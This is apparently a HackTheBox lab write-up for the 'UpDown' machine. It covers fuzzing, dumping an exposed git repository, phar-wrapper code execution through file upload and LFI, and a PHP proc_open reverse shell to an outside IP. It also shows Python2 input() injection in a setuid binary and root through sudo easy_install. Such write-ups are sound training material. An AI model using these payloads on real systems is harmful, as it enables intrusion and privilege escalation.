UpDown

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 16.7 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1,Recon port scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Page check I guess there is something about command injection, so I try the payload 127.0.0.1;id But it gives me the message Hacking attempt was detected ! And it is detected by the back end and i try to find the restricted symbol is ; or any format that is not an IP address.

There is also some hints siteisup.htb, I can enumerate all the valid sub-domains here. ffuf -u http://siteisup.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.siteisup.htb" -fs 1131 Then we get the sub-domain dev.siteisup.htb But we can only get code 403 Forbidden for http://dev.siteisup.htb

By enumerating the web-contents of the main domain http://siteisup.htb

ffuf -u http://siteisup.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 17ms]
                        [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 1906ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 2021ms]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 2044ms]
dev                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 10ms]
index.php               [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 15ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 7ms]
:: Progress: [4614/4614] :: Job [1/1] :: 1142 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Continue to enumerate /dev

ffuf -u http://siteisup.htb/dev/FUZZ -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb/dev/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 14ms]
.git/HEAD               [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 17ms]
index.php               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 16ms]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1257ms]
                        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1260ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1261ms]
:: Progress: [4614/4614] :: Job [1/1] :: 75 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

.git/HEAD would be our target and we can use git-dumper to catch it to our local machine.

git-dumper http://siteisup.htb/dev/.git/ ./git-repo-dump

Then we get

┌──(wither㉿localhost)-[~/Templates/htb-labs/UpDown/git-repo-dump]
└─$ ls -al           
total 40
drwxrwxr-x 3 wither wither 4096 Feb  6 14:51 .
drwxrwxr-x 4 wither wither 4096 Feb  6 14:51 ..
drwxrwxr-x 7 wither wither 4096 Feb  6 14:51 .git
-rw-rw-r-- 1 wither wither  117 Feb  6 14:51 .htaccess
-rw-rw-r-- 1 wither wither   59 Feb  6 14:51 admin.php
-rw-rw-r-- 1 wither wither  147 Feb  6 14:51 changelog.txt
-rw-rw-r-- 1 wither wither 3145 Feb  6 14:51 checker.php
-rw-rw-r-- 1 wither wither  273 Feb  6 14:51 index.php
-rw-rw-r-- 1 wither wither 5531 Feb  6 14:51 stylesheet.css

From .htaccess we can know why we are forbidden of the sub-domain dev

cat .htaccess 
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Base on on the source code analysis, there are a few things I can try. First, I’ll use an extension like Modify Header Value to set a the custom header: Then we can get the page:

From index.php andadmin.php we can find LFI exploit in the ?page=

index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

admin.php
<?php
if(DIRECTACCESS){
        die("Access Denied");
}

#ToDo
?>

But seems like not worked here.

Let's continue to check the checker.php

<?php

function isitup($url){
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, trim($url));
	curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$f = curl_exec($ch);
	$header = curl_getinfo($ch);
	if($f AND $header['http_code'] == 200){
		return array(true,$f);
	}else{
		return false;
	}
    curl_close($ch);
}

In this place, $f = curl_exec($ch); is the exec function.But it could not make a command injection here.

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
Here we can find the uploaded files path $dir = "uploads/".md5(time())."/";
And we could not upload the php files directly here,

Typically I think of needing a file to end in .php (or .ph3 or another known PHP extension to get execution). I also have to get around the fact that the script is going to add .php to the parameter I pass in. I’m going to abuse the PHP Archive or PHAR format to get execution here. This is very similar to abusing the zip PHP stream wrapper way back in CrimeStoppers. The phar:// wrapper works with the format phar://[archive path]/[file inside the archive]. This means I can craft a URL that points to phar://info.wither/info.php (where I’ll let the site add the .php to the end), and that file will be run from within the archive.

To test this, I’ll try creating a file that just calls phpinfo, and call it phpinfo.php: <?php phpinfo(); ?> put it into a zip archive and upload it. Now on visiting http://dev.siteisup.htb/?page=phar://uploads/a26d8923adbfe58243ff1fe2b12d30a4/phpinfo.wither/phpinfo Then we can check the disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen

These functions won’t work, and include most of the ones necessary to get execution. However, I could notice that proc_open isn’t listed. So we can make the payload

rev.php
<?php
        $descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        );
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.5/443 0>&1'";
        $proc = proc_open($cmd, $descspec, $pipes);
?>

Continue like before, put it into a zip archive and upload it. Remember to open the netcat and visit http://dev.siteisup.htb/?page=phar://uploads/c37609fba8ab772c12b98dbf4ef02092/rev.wither/rev

Then we can get the reverse shell as www-data

By enumerating all the files of /var/www/dev and /var/www/html, there is nothing useful from that, there is no config files or database to help us get the certifcation.

But we can direct into /home/developer, and we can check the files of /dev

siteisup  siteisup_test.py

file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

The print calls use space in a way that show this is expecting to run with Python2. But if this is called with Python2, that input will be a major vulnerability. That’s because in Python2, input takes the input and passes it to eval, and my input isn’t valid python. I can pass it a one liner that will execute and get execution:

Actually we can not run correctly any of them, they always broken down.

www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:http://127.0.0.1
http://127.0.0.1
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://127.0.0.1
        ^
SyntaxError: invalid syntax

www-data@updown:/home/developer/dev$ python2 siteisup_test.py 
Enter URL here:http://10.10.14.6/test
Traceback (most recent call last):
  File "siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://10.10.14.6/test
        ^
SyntaxError: invalid syntax

By check the binary-file

www-data@updown:/home/developer/dev$ strings -n 20 siteisup
strings -n 20 siteisup
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
deregister_tm_clones
__do_global_dtors_aux
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
_GLOBAL_OFFSET_TABLE_
_ITM_deregisterTMCloneTable
setresuid@@GLIBC_2.2.5
setresgid@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
getegid@@GLIBC_2.2.5
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5

It’s calling the python script from the application.

Putting all that together, I just need to run the binary (which runs as developer) and give it the Python code to run:

www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('id')
__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?

So I’ll switch out id for bash:

ww-data@updown:/home/developer/dev$ ./siteisup
./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('bash')
__import__('os').system('bash')
developer@updown:/home/developer/dev$ 

Then we can check the id_rsa file of developer and then we can use it to ssh to developer.

3, shell as root By check sudo -l

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Then I would try it

developer@updown:~$ sudo /usr/local/bin/easy_install
error: No urls, filenames, or requirements specified (see --help)
developer@updown:~$ sudo /usr/local/bin/easy_install --help

Global options:
  --verbose (-v)  run verbosely (default)
  --quiet (-q)    run quietly (turns verbosity off)
  --dry-run (-n)  don't actually do anything
  --help (-h)     show detailed help message
  --no-user-cfg   ignore pydistutils.cfg in your home directory

Options for 'easy_install' command:
  --prefix                   installation prefix
  --zip-ok (-z)              install package as a zipfile
  --multi-version (-m)       make apps have to require() a version
  --upgrade (-U)             force upgrade (searches PyPI for latest versions)
  --install-dir (-d)         install package to DIR
  --script-dir (-s)          install scripts to DIR
  --exclude-scripts (-x)     Don't install scripts
  --always-copy (-a)         Copy all needed packages to install dir
  --index-url (-i)           base URL of Python Package Index
  --find-links (-f)          additional URL(s) to search for packages
  --build-directory (-b)     download/extract/build in DIR; keep the results
  --optimize (-O)            also compile with optimization: -O1 for "python -
                             O", -O2 for "python -OO", and -O0 to disable
                             [default: -O0]
  --record                   filename in which to record list of installed
                             files
  --always-unzip (-Z)        don't install as a zipfile, no matter what
  --site-dirs (-S)           list of directories where .pth files work
  --editable (-e)            Install specified packages in editable form
  --no-deps (-N)             don't install dependencies
  --allow-hosts (-H)         pattern(s) that hostnames must match
  --local-snapshots-ok (-l)  allow building eggs from local checkouts
  --version                  print version information and exit
  --no-find-links            Don't load find-links defined in packages being
                             installed
  --user                     install in user site-package
                             '/root/.local/lib/python2.7/site-packages'

usage: easy_install [options] requirement_or_url ...
   or: easy_install --help

It can take a URL (so I could host something malicious on my machine and fetch it), but it can also just take a directory. I’ll create a directory:

mkdir /tmp/wither
cd /tmp/wither
echo -e 'import os\n\nos.system("/bin/bash")' > setup.py

Then just exploit it.
sudo /usr/local/bin/easy_install /tmp/wither

Then we can get the root shell.